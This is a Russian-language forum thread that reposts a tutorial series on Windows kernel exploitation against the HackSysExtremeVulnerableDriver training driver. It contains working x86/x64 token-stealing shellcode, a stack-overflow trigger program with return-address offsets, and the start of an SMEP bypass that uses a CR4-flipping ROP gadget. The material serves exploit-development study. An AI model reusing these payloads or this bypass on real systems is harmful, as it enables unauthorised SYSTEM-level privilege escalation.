Эксплуатация уязвимостей уровня ядра в ОС Windows

german

Модератор
VIP
Подтвержденный
Регистрация
26.01.14
Сообщения
2,790
Реакции
1,335
Депозит
0
Покупок
1
Продаж
3
Telegram
Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 1 – Настройка рабочей среды.

В данном цикле статей мы рассмотрим написание эксплоитов уровня ядра в ОС Windows.

Автор: Mohamed Shahat

Эта серия статей появилась по двум причинам. Во-первых, мне нравится работать с проектом HackSysExtremeVulnerableDriver. Во-вторых, я получил массу пожеланий, чтобы осветить эту тему.
Весь код, используемый при написании этой серии, находится в моем репозитории.

В данном цикле статей мы рассмотрим написание эксплоитов уровня ядра в ОС Windows. Важно отметить, что мы будем иметь дело с известными уязвимостями, и в реверс-инжиниринге нет необходимости (по крайней мере, для драйвера).
Предполагается, что после ознакомления со всеми статьями вы будете знать все наиболее распространенные классы брешей и методы эксплуатации, а также сможете портировать эксплоиты с архитектуры x86 на архитектуру x64 (если возможно) и ознакомитесь с новыми методами защиты в Windows 10.

Схема отладки ядра

В отличие от отладки на уровне пользователя, когда приостанавливается выполнение отдельного процесса, на уровне ядра задействуется вся система, и мы не сможем воспользоваться этим методом. Соответственно, нужна отдельная отладочная машина, которая сможет осуществлять коммуникацию с системой, где отлаживается ядро, просматривать память и структуры ядра, а также отлавливать крахи системы.
Дополнительный материал для изучения:
  • User mode and kernel mode
  • Understanding User and Kernel Mode
Эксплуатация уязвимостей ядра
Этот процесс проходит намного веселее, чем эксплуатация на уровне пользователя J.
Главная цель – добиться привилегированного выполнения в контексте ядра. А дальше уже все зависит от нашего воображения, начиная от застолья с домашним пивом и заканчивая внедрением вредоносов, спонсируемых государством.
В целом, наша задача заключается в том, чтобы получить шелл с системными привилегиями.
Темы статей этого цикла
  • Часть 1: Настройка рабочей среды
    • Конфигурирование трех виртуальных машин и системы, которая будет выступать в роли отладчика.
    • Конфигурирование отладчика WinDBG.
  • Часть 2: Полезные нагрузки
    • Изучение наиболее распространенных полезных нагрузок. В последующих частях будут рассматриваться конкретные уязвимости и, при необходимости, указываться ссылки на эту статью.
  • Остальные части.
    • Рассмотрение уязвимостей.
Жизненный цикл разработки эксплоита уровня ядра
  • Нахождение уязвимости. Эта тема не будет рассматриваться в данном цикле, поскольку мы уже точно знаем, где находятся бреши.
  • Перехват потока выполнения. Некоторые уязвимости предусматривают выполнение кода, для некоторых есть дополнительные требования.
  • Расширение привилегий. Главная цель – получить шелл с системными привилегиями.
  • Восстановление потока выполнения. Неучтенные исключения на уровне ядра приводят к краху системы. Если вы не собираетесь писать эксплоит для DoS-атаки, следует учитывать этот факт.
Типы целевых систем
Мы будем работать с уязвимостями в следующих системах (конкретная версия не принципиальна):
  • Win7 x86 VM
  • Win7 x64 VM
  • Win10 x64 VM
Начнем с архитектуры x86, и далее будем портировать эксплоит для системы Win7 x64. Некоторые эксплоиты не будут запускать на машинах с Win10 из-за присутствия новых защит. В этом случае мы либо будем изменять логику работы эксплоита, либо будем использовать полностью другой подход.
Используемое программное обеспечение:
  • Гипервизор (масса вариантов).
  • Windows 7 x86 VM
  • Windows 7 x64 VM
  • Windows 10 x64 VM
  • VirtualKD
  • OSR Driver Loader
Настройка систем для отладки
Отладочные системы, с которыми мы будем взаимодействовать, предназначены для загрузки уязвимого драйвера. На этих машинах часто будут возникать крахи, поскольку большинство исключений в ядре способствуют явлениям подобного рода. Необходимо выделить достаточно оперативной памяти для этих систем.
На каждой машине, которая будет отлаживаться, нужно сделать следующее:
  • Внутри директории VirtualKD запустите файл target\vminstall.exe. Добавится новая загрузочная запись и будут доступны функции отладки и автоматическое подключение к серверу VirtualKD, установленному в системе, которая выступает в роли отладчика.
В случае с Windows 10 VM необходимо включить режим test signing, который позволяет загружать неподписанные драйвера в ядро.
После выполнения команды bcdedit /set testsinging on и перезагрузки на рабочем столе появится надпись «Test Mode».
Примечание: Windows 10 позволяет осуществлять отладку ядра через сеть. Этот способ, на мой взгляд, быстрее.
  • Запустите OSR Driver Loader. Зарегистрируйте и запустите службу. Возможно, потребуется перезагрузка.
  • Установите дополнения на гостевой виртуальной машине (необязательное условие).
  • Добавьте учетную запись с низкими привилегиями, которая понадобится во время эксплуатации.
C:\Windows\system32>net user low low /add
The command completed successfully.

Настройка отладчика

В системе, которая будет выступать в роли отладчика, будет использоваться WinDBG. Вы сможете инспектировать память, структуры данных и при необходимости выполнять манипуляции. Наличие удаленной отладочной сессии во время падения целевой системы позволит нам подключаться к виртуальной машине и анализировать крахи.
Хост VirtualKD будет выполнять коммуникацию автоматически через именованный канал, вместо установки соединения вручную. Если вы отлаживаете через сеть в Win10 VM, потребуется протестировать соединение вручную.

-Установите Windows SDK. Вы можете выбрать только «Debugging Tools for Windows».

-Проверьте, что установлен отладчик WinDBG. По умолчанию используется папка C:\Program Files (x86)\Windows Kits\10\Debuggers.

Добавьте этот путь в качестве системного и установите путь к отладчику в VirtualKD
Перезапустите гостевые виртуальные машины. Система с VirtualKD, используемая в качестве отладчика, должна быть запущена. После перезагрузки вы сможете начать сессию в WinDBG.
Настройка WinDBG

Если все настроено корректно, WinDBG поставит выполнение на паузу и отобразит некоторую информацию, касающуюся целевой системы.


Рисунок 1: Остановка выполнения кода ядра

Символы содержат отладочную информацию для множества бинарных файлов в ОС Window. Загрузить символы можно при помощи следующей команды:
.sympath srv*c:\Symbols*http://msdl.microsoft.com/download/symbols;C:\HEVD
.reload /f *.*
Включаем режим подробного информирования процесса отладки.
ed nt!Kd_Default_Mask 0xf
Должен загрузиться модуль HEVD:
kd> lm m HEVD
Browse full module list
start end module name
fffff80b`92b50000 fffff80b`92b59000 HEVD (deferred)
Сохраняем настройки профиля и любые изменения рабочей среды:
File -> Save Workspace to File
Введите команду g или нажмите клавишу F5 для продолжения выполнения (перечень других команд, которые вам могут пригодиться, хорошо описан в этом документе).
Краткое описание модуля HEVD
Процедура DriverEntry является стартовой для каждого драйвера:
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
UINT32 i = 0;
PDEVICE_OBJECT DeviceObject = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNICODE_STRING DeviceName, DosDeviceName = {0};
UNREFERENCED_PARAMETER(RegistryPath);
PAGED_CODE();
RtlInitUnicodeString(&DeviceName, L"\\Device\\HackSysExtremeVulnerableDriver");
RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\HackSysExtremeVulnerableDriver");
// Create the device
Status = IoCreateDevice(DriverObject,
0,
&DeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&DeviceObject);

...
}
  • Эта процедура содержит вызов функции IoCreateDevice, содержащей имя драйвера, которое мы будем использовать во время коммуникации.
  • В объект DriverObject будут добавлены нужные структуры и указатели на функции.
  • Для нас важен указатель функции, связанный с процедурой DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL], отвечающей за обработку IOCTL (I/O Control; управление вводом/выводом);
  • В HEVD эта функция называется IrpDeviceIoCtlHandler, которая представляет собой большое условное выражение со множеством ответвлений для каждого IOCTL. Каждая уязвимость имеет уникальный IOCTL.
Пример: HACKSYS_EVD_IOCTL_STACK_OVERFLOW представляет собой IOCTL, используемый для активации бреши, связанной с переполнением стека.

На этом первая часть завершается. В следующей статье мы поговорим о полезных нагрузках. На данный момент доступна только полезная нагрузка, предназначенная для кражи токенов, которая будет использоваться в третьей части.
P.S. Я понимаю, что существует масса тонкостей и проблем, с которыми вы можете столкнуться. Поскольку в этом цикле основное внимание уделяется разработке эксплоитов, вам придется решать все попутные проблемы самостоятельно. Однако все возникающие вопросы вы можете задавать в комментариях.
 
Автор
Автор
german

german

Модератор
VIP
Подтвержденный
Регистрация
26.01.14
Сообщения
2,790
Реакции
1,335
Депозит
0
Покупок
1
Продаж
3
Telegram
Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 2 – Полезные нагрузки.

Этот пост посвящен полезным нагрузкам, которые будут использоваться в следующих частях.

Автор: Mohamed Shahat

Этот пост посвящен полезным нагрузкам, которые будут использоваться в следующих частях.
Весь код находится в моем репозитории.

Некоторые замечания
  • Иногда вы сможете управлять адресом возврата функции. В этом случае вы сможете указать этот адрес на буфер, находящийся в памяти пользовательского режима (user-mode) только если функция SMEP (Supervisor Mode Execution Protection) отключена.
  • Полезные нагрузки должны находиться в сегменте памяти, в котором разрешено выполнение. Если использовать память с атрибутами только на чтение или любую другую комбинацию, где отсутствуют права на выполнение, выполнение шелл-кода завершится неудачно из-за функции DEP (Data Execution Prevention; Предотвращение выполнение данных).
  • Полезные нагрузки написаны на ассемблере. Если вы не фанат копирования шестнадцатеричных строк, рекомендую выполнять компиляцию проекта на лету Visual Studio. Этот метод работает для архитектур x86 и x64 и позволяет избежать проблем при удалении начала/конца функций, создания RWX-буфера (read, write, execute) и копирования шелл-кода или записи встроенного ассемблерного x64-кода.
Руководство по настройке проекта в Visual Studio для записи встроенного ассемблерного x64-кода.
Существуют другие альтернативы:
  • Использование masm и копирование шелл-кода в RWX-буфер во время выполнения.
  • Использование функций с атрибутом naked. Однако этот метод работает только для x86.
  • Встроенный ассемблерный код также работает только для x86.
Базовая обертка полезной нагрузки для x86
.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC PAYLOAD
PAYLOAD proc
; Payload here
PAYLOAD ENDP
end
Базовая обертка полезной нагрузки для x64
.code
PUBLIC PAYLOAD
PAYLOAD proc
; Payload here
PAYLOAD ENDP
end

Краткое описание внутреннего устройства процесса
  • Каждый Windows-процесс представлен структурой EPROCESS. Содержимое EPROCESS доступно для ознакомления при помощи команды dt nt!_EPROCESS optional_process_address.
  • Большинство структур EPROCESS находится в пространстве ядра. PEB (Process Environment Block; Блок окружения процесса) находится в пространстве пользователя. Соответственно, код пространства пользователя может взаимодействовать с этой структурой. Содержимое PEB доступно для ознакомления при помощи команды dt nt!_PEB optional_process_address. Если вы находитесь в контексте процесса, можете воспользоваться альтернативной командой !peb
kd> !process 0 0 explorer.exe
PROCESS ffff9384fb0c35c0
SessionId: 1 Cid: 0fc4 Peb: 00bc3000 ParentCid: 0fb4
DirBase: 3a1df000 ObjectTable: ffffaa88aa0de500 HandleCount: 1729.
Image: explorer.exe

kd> .process /i ffff9384fb0c35c0
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff802`80002c60 cc int 3
kd> !peb
PEB at 0000000000bc3000
InheritedAddressSpace: No
ReadImageFileExecOptions: No

...
  • Структура EPROCESS содержит поле Token, которое сообщает системе о том, какие привилегии у процесса. Наша цель – токен привилегированного процесса (например, System). Если мы сможет украсть токен и перезаписать токен текущего процесса, привилегии текущего процесса повысятся. Эта техника называется «расширение привилегий».
  • В разные операционных системах используются разные смещения. Соответственно, вам нужно менять эти значения в полезной нагрузке. WinDBG – ваш друг и помощник.
Полезная нагрузка для кражи токена

Представьте себе, что мы умеем запускать любой код с целью замены токена текущего процесса на более привилегированный токен, с чего бы мы начали? Первая мысль, которая приходит в голову – PCR, поскольку местонахождение этой структуры не меняется. При помощи WinDBG мы сможем найти структуру EPROCESS текущего процесса и произвести замену токена на токен процесса System (PID 4).
  • Нахождение PCR
PCR имеет фиксированное расположение (gs:[0] и fs:[0] для x64/x86)
  • Расположение PcrbData
kd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : Ptr64 _KGDTENTRY64
+0x008 TssBase : Ptr64 _KTSS64
+0x010 UserRsp : Uint8B
+0x018 Self : Ptr64 _KPCR
+0x020 CurrentPrcb : Ptr64 _KPRCB
+0x028 LockArray : Ptr64 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : Ptr64 Void
+0x038 IdtBase : Ptr64 _KIDTENTRY64
+0x040 Unused : [2] Uint8B
+0x050 Irql : UChar
+0x051 SecondLevelCacheAssociativity : UChar
+0x052 ObsoleteNumber : UChar
+0x053 Fill0 : UChar
+0x054 Unused0 : [3] Uint4B
+0x060 MajorVersion : Uint2B
+0x062 MinorVersion : Uint2B
+0x064 StallScaleFactor : Uint4B
+0x068 Unused1 : [3] Ptr64 Void
+0x080 KernelReserved : [15] Uint4B
+0x0bc SecondLevelCacheSize : Uint4B
+0x0c0 HalReserved : [16] Uint4B
+0x100 Unused2 : Uint4B
+0x108 KdVersionBlock : Ptr64 Void
+0x110 Unused3 : Ptr64 Void
+0x118 PcrAlign1 : [24] Uint4B
+0x180 Prcb : _KPRCB <====
  • Расположение CurrentThread
kd> dt nt!_KPRCB
+0x000 MxCsr : Uint4B
+0x004 LegacyNumber : UChar
+0x005 ReservedMustBeZero : UChar
+0x006 InterruptRequest : UChar
+0x007 IdleHalt : UChar
+0x008 CurrentThread : Ptr64 _KTHREAD <====
  • Расположение EPROCESS текущего процесса
Адрес EPROCESS находится практически в том же месте: _KTHREAD.ApcState.Process.
  • Расположение EPROCESS процесса SYSTEM
Используя связанный список _EPROCESS.ActiveProcessLinks.Flink, мы может переходить между процессами итеративным путем. Во время каждой итерации нужно проверять, не равен ли UniqueProcessId числу 4, которое соответствует PID’у процесса System.
  • Замена токена
После нахождения заменяем токен текущего процесса на токен процесса SYSTEM.
Обратите внимание, что значение поля Token принадлежит типу _EX_FAST_REF, и младшие 4 бита не являются частью токена.

kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF
+0x000 Object : Ptr64 Void
+0x000 RefCnt : Pos 0, 4 Bits
+0x000 Value : Uint8B

Обычно при замене токена это значение нужно сохранять, однако я не сталкивался с какими-либо проблемами при заменах.

Полезная нагрузка для кражи токенов под Windows 7 x86 SP1

.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC StealToken
StealToken proc
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, DWORD PTR fs:[eax + 124h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + 50h] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, 04h ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0B8h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp[eax + 0B4h], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + 0F8h] ; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + 0F8h], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
StealToken ENDP
end

Полезная нагрузка для кражи токенов под Windows 7 x64

.code
PUBLIC GetToken
GetToken proc
; Start of Token Stealing Stub
xor rax, rax ; Set ZERO
mov rax, gs:[rax + 188h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at GS : [0x188]
mov rax, [rax + 70h] ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax ; Copy current process _EPROCESS structure
mov r11, rcx ; Store Token.RefCnt
and r11, 7
mov rdx, 4h ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov rax, [rax + 188h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 188h
cmp[rax + 180h], rdx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov rdx, [rax + 208h] ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 208h], rdx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub

GetToken ENDP
end
 
Автор
Автор
german

german

Модератор
VIP
Подтвержденный
Регистрация
26.01.14
Сообщения
2,790
Реакции
1,335
Депозит
0
Покупок
1
Продаж
3
Telegram
Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 3 – Переполнение буфера в стеке (Windows 7 x86/x64)

Автор: Mohamed Shahat

Код эксплоита находится здесь.

Суть уязвимости

Код, показанный ниже, находится здесь.

NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = {0};

PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");

// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

Метод TriggerStackOverflow вызывается через функцию StackOverflowIoctlHandler, которая является обработчиком IOCTL для HACKSYS_EVD_IOCTL_STACK_OVERFLOW.

Уязвимость довольно очевидна. Пользовательский буфер копируется в буфер ядра размером 2048 байт (512 * sizeof(ULONG)). Поскольку границы не проверяются, получаем классическую брешь, связанную с переполнением стека.

Инициация падения системы

#include <Windows.h>
#include <stdio.h>

// IOCTL to trigger the stack overflow vuln, copied from HackSysExtremeVulnerableDriver/Driver/HackSysExtremeVulnerableDriver.h
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

int main()
{
// 1. Create handle to driver
HANDLE device = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);

printf("[+] Opened handle to device: 0x%x\n", device);

// 2. Allocate memory to construct buffer for device
char* uBuffer = (char*)VirtualAlloc(
NULL,
2200,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

printf("[+] User buffer allocated: 0x%x\n", uBuffer);

RtlFillMemory(uBuffer, 2200 , 'A');

DWORD bytesRet;
// 3. Send IOCTL
DeviceIoControl(
device,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
uBuffer,
2200,
NULL,
0,
&bytesRet,
NULL
);
}

Скомпилированный код, показанный выше, копируем на виртуальную машину. Убеждаемся, что сессия WinDBG активна, и запускаем исполняемый файл из шелла. Работа отлаживаемой системы должна приостановиться, а WinDBG должен замигать на вашей рабочей машине.

HEVD показывает отладочную информацию (должен быть включен режим подробного информирования):

****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x000D0000
[+] UserBuffer Size: 0x1068
[+] KernelBuffer: 0xA271827C
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow

Введите команду k для отображения содержимого стека. Должно появиться примерно следующее:

kd> k
# ChildEBP RetAddr
00 8c812d0c 8292fce7 nt!RtlpBreakWithStatusInstruction
01 8c812d5c 829307e5 nt!KiBugCheckDebugBreak+0x1c
02 8c813120 828de3c1 nt!KeBugCheck2+0x68b
03 8c8131a0 82890be8 nt!MmAccessFault+0x104
04 8c8131a0 82888ff3 nt!KiTrap0E+0xdc
05 8c813234 93f666be nt!memcpy+0x33
06 8c813a98 41414141 HEVD!TriggerStackOverflow+0x94 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 92]
WARNING: Frame IP not in any known module. Following frames may be wrong.
07 8c813aa4 41414141 0x41414141
08 8c813aa8 41414141 0x41414141
09 8c813aac 41414141 0x41414141
0a 8c813ab0 41414141 0x41414141
0b 8c813ab4 41414141 0x41414141

Если возобновить выполнение, 0x41414141 появится в регистре EIP. Ничего сложного J.

Контроль потока выполнения


Эксплуатация этой уязвимости в сочетании с полезной нагрузкой для кражи токена, которую мы рассматривали во второй части, не составляет особых сложностей. Полезная нагрузка конструируется в пространстве пользователя, после чего адрес буфера передается в качестве адреса возврата. Когда дело доходит до нужной функции, выполнение перенаправляется в буфер, находящийся в пространстве пользователя. Этот эксплоит направлен на расширение привилегий, когда вы выполняете код с более высокими правами, чем у вас есть.

Поскольку в Windows 7 функция SMEP отключена, мы можем просто указать на переход к полезной нагрузке в режиме пользователя и осуществить выполнение с привилегиями ядра.

Перезапускаем виртуальную машину, выполнив команду .reboot. Теперь нужно поставить точки останова на начало и конец функции. Для нахождения места возврата вычисляем смещение, используя команду uf.

kd> uf HEVD!TriggerStackOverflow
HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65]:
65 9176b62a push 80Ch
65 9176b62f push offset HEVD!__safe_se_handler_table+0xc8 (917691d8)
65 9176b634 call HEVD!__SEH_prolog4 (91768014)

...

101 9176b6ed call HEVD!__SEH_epilog4 (91768059)
101 9176b6f2 ret 8

kd> ? 9176b6f2 - HEVD!TriggerStackOverflow
Evaluate expression: 200 = 000000c8

kd> bu HEVD!TriggerStackOverflow

kd> bu HEVD!TriggerStackOverflow + 0xc8

kd> bl
0 e Disable Clear 9176b62a 0001 (0001) HEVD!TriggerStackOverflow
1 e Disable Clear 9176b6f2 0001 (0001) HEVD!TriggerStackOverflow+0xc8

Далее нужно найти смещение инструкции RET:

  • По адресу HEVD!TriggerStackOverflow+0x26 вызывается функция memset с адресом буфера ядра, находящегося в @eax. Дойдите до этой инструкции.
  • Адрес @ebp + 4 указывает адрес процедуры RET. Мы можем рассчитать смещение от буфера ядра.

kd> ? (@ebp + 4) - @eax
Evaluate expression: 2076 = 0000081c

Теперь мы знаем, что адрес возврата хранится на расстоянии 2076 байт от начала буфера ядра.

Главный вопрос: что делать после выполнения полезной нагрузки.

Обнуление регистра

Попробуем посмотреть на то, что мы уже сделали, под другим углом. Перезапись адреса возврата первой функции в стеке означает, что оставшиеся инструкции этой функции выполнены не будут. Имеется в виду функция StackOverflowIoctlHandler по смещению 0x1e.


Рисунок 1: Две инструкции (выделено синим), которые не будут выполнены

Как видно из рисунка выше, требуется выполнить две инструкции, находящиеся в конце нашей полезной нагрузки:

9176b718 pop ebp
9176b719 ret 8

Мы упустили еще одну деталь. Эта функция ожидает возвратное значение в @eax, и любое содержимое, отличное от 0, будет расцениваться как ошибка. Соответственно, перед выполнением завершающих инструкций, нужно решить эту проблему:

xor eax, eax ; Set NTSTATUS SUCCEESS

Полная версия эксплоита находится здесь. Полезная нагрузка рассматривалась во второй части данного цикла.


Рисунок 2: Демонстрация работы эксплоита для системы Windows 7 x86

Портирование эксплоита под Windows 7 64-bit

Схема переделки довольно проста:

  • Смещение от буфера в ядре становится 2056 байт вместо 2076 байт.
  • Используется полезная нагрузка для архитектуры x64 (см. вторую часть).
  • Адреса длиной 8 байт (потребуются некоторые изменения).
  • Дополнительные защиты отсутствуют.


Рисунок 3: Демонстрация работы эксплоита для системы Windows 7 x64

Код эксплоита находится здесь.

Резюме

Буфер из пространства пользователя копируется в буфер ядра без проверки границ. Отсюда имеем уязвимость, связанную с переполнением стека.

  • Адрес возврата функции управляем и может указывать на буфер в пространстве пользователя, поскольку функция SMEP отключена.
  • Полезная нагрузка должна находиться в сегменте памяти с правами на выполнение, иначе сработает DEP.
  • Никакие исключения не следует игнорировать. Мы должны изменить поток выполнения после запуска полезной нагрузки. В нашем случае нужно установить в @eax возвратное значение равное 0 и выполнить оставшиеся инструкции в функции StackOverflowIoctlHandler перед возвратом.

На этом все. В четвертой части мы рассмотрим эксплуатацию этой уязвимости в Windows 10 и обход функции SMEP.
 
Автор
Автор
german

german

Модератор
VIP
Подтвержденный
Регистрация
26.01.14
Сообщения
2,790
Реакции
1,335
Депозит
0
Покупок
1
Продаж
3
Telegram
Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 4 – Переполнение буфера в стеке (обход SMEP)

В этой статье мы будем работать с системой Windows 10 x64, где по умолчанию включена функция SMEP.

Автор: Mohamed Shahat

В третьей части рассматривалась эксплуатация уязвимости, связанной с переполнением буфера в стеке, в системах на базе Windows 7 x86/x64. В этой статье мы будем работать с системой Windows 10 x64, где по умолчанию включена функция SMEP.

Код эксплоита находится здесь.


Сборка Windows: 16299.15.amd64fre.rs3_release.170928-1534
Версия ntoskrnl: 10.0.16288.192
Вместо того чтобы растекаться мыслью по древу, сразу же запустим эксплоит в системе Windows 10 x64 и посмотрим, что произойдет.
kd> bu HEVD!TriggerStackOverflow + 0xc8
kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow+0xc8:
fffff801`7c4d5708 ret
kd> k
# Child-SP RetAddr Call Site
00 ffffa308`83dfe798 00007ff6`8eff11d0 HEVD!TriggerStackOverflow+0xc8 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 101]
01 ffffa308`83dfe7a0 ffffd50f`91a47110 0x00007ff6`8eff11d0
02 ffffa308`83dfe7a8 00000000`00000000 0xffffd50f`91a47110
Глядя на инструкцию по адресу 00007ff68eff11d0, мы понимаем, что с нашей полезной нагрузкой все в порядке, и, на первый взгляд, нет никаких сложностей.
kd> t
00007ff6`8eff11d0 xor rax,rax
kd> t
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x000000fc
(0x00007FF68EFF11D0,0x0000000037ADB025,0xFFFFA30883DFE610,0x0000000080000005)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
Ошибка по адресу 0x000000fc говорит о том, что существует проблема ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY, которая возникает из-за присутствия аппаратной защиты SMEP (Supervisor Mode Execution Prevention).

Если продолжить выполнение, появится всеми любимый синий экран.


Рисунок 1: Синий экран при появлении ошибкиATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY

Что такое SMEP

SMEP (Supervisor Mode Execution Prevention) – это аппаратная защита, представленная компанией Intel под брендом OS Guard, которая не дает запускать код из пространства пользователя с привилегиями нулевого кольца. В результате попыток выполнить подобного рода манипуляции появляется синий экран. Этот метод защищает от эксплоитов, направленных на расширение привилегий, в которых используется полезная нагрузка, находящаяся в пространстве пользователя.

В регистре CR4 бит защиты SMEP находится под номером 20. Выдержка из документации:
Регистр CR4 содержит группу флагов, которые расширяют архитектуру и сигнализируют операционной системе или другим управляющим приложениям о специфических возможностях процессора.
Если этот бит равен 1, функция SMEP включена, в противном случае – отключена.
Более подробная информация указана в документации для разработчиков.

Обход SMEP

Существует несколько методов для обхода SMEP, с которыми я рекомендую ознакомиться для лучшего понимания темы. Мы будем пользоваться техникой, которая описывается в блоге j00ru:
  • Конструируем ROP-цепь, которая считывает содержимое регистра CR4, инвертирует двадцатый бит и записываем новое значение. С отключенной функцией SMEP мы можем «безопасно» перейти к нашей полезной нагрузке, находящейся в пространстве пользователя.
  • Если считать и/или изменить содержимого нельзя, можно восстановить (pop) «правильное» значение в регистр. Этот метод не так элегантен, однако является рабочим.
Важно отметить, что Hyperguard не позволяет изменять регистр CR4, если вы используете инстанс Hyper-V.

Выдержка из статьи с сайта Microsoft:

Система безопасности на базе виртуализации (Virtualization-based security; VBS) предоставляет еще один уровень защиты против попыток выполнить вредоносный код в ядре. Например, Device Guard блокирует выполнение кода в неподписанной зоне памяти ядра, включая код, направленный на расширение привилегий. Методы, используемые в Device Guard, защищают ключевые моделезависимые регистры (MSR), управляющие регистры и регистры таблицы дескрипторов. Неавторизированные попытки изменения битовых полей управляющего регистра CR4, включая бит, отвечающий за включение/отключение SMEP, блокируются немедленно.

Все нужные нам гаджеты находится в файле ntoskrnl.exe, базовый адрес которого можно получить двумя способами. Первый метод – через функцию EnumDeviceDrivers. Некоторые могут возразить, что этот метод не очень надежен, хотя я не сталкивался с проблемами. С другой стороны, учитывая, что на эту функцию отсутствует общедоступная документация, лучше скрестить пальцы J. Второй метод – через функцию NtQuerySystemInformation (вначале нужно выполнить экспорт). Мы будем использовать первый способ.

LPVOID addresses[1000];
DWORD needed;
EnumDeviceDrivers(addresses, 1000, &needed);
printf("[+] Address of ntoskrnl.exe: 0x%p\n", addresses[0]);

После получения базового адреса можно поискать относительные смещения к гаджетам, которые будут использоваться в ROP-цепи.

Отсылаю вас к этой статье, где описывается поиск гаджетов.

Первый гаджет должен восстанавливать значение в регистр CR4. После нахождения нужной инструкции станет понятно, содержимое какого регистра нужно контролировать.

kd> uf nt!KiConfigureDynamicProcessor
nt!KiConfigureDynamicProcessor:
fffff802`2cc36ba8 sub rsp,28h
fffff802`2cc36bac call nt!KiEnableXSave (fffff802`2cc2df48)
fffff802`2cc36bb1 add rsp,28h
fffff802`2cc36bb5 ret
kd> uf fffff802`2cc2df48
nt!KiEnableXSave:
fffff802`2cc2df48 mov rcx,cr4
fffff802`2cc2df4b test qword ptr [nt!KeFeatureBits (fffff802`2cc0b118)],800000h
... snip ...
nt!KiEnableXSave+0x39b0:
fffff802`2cc318f8 btr rcx,12h
fffff802`2cc318fd mov cr4,rcx // First gadget!
fffff802`2cc31900 ret
kd> ? fffff802`2cc318fd - nt
Evaluate expression: 4341861 = 00000000`00424065
Гаджет #1 - mov cr4,rcx, адрес: nt + 0x424065
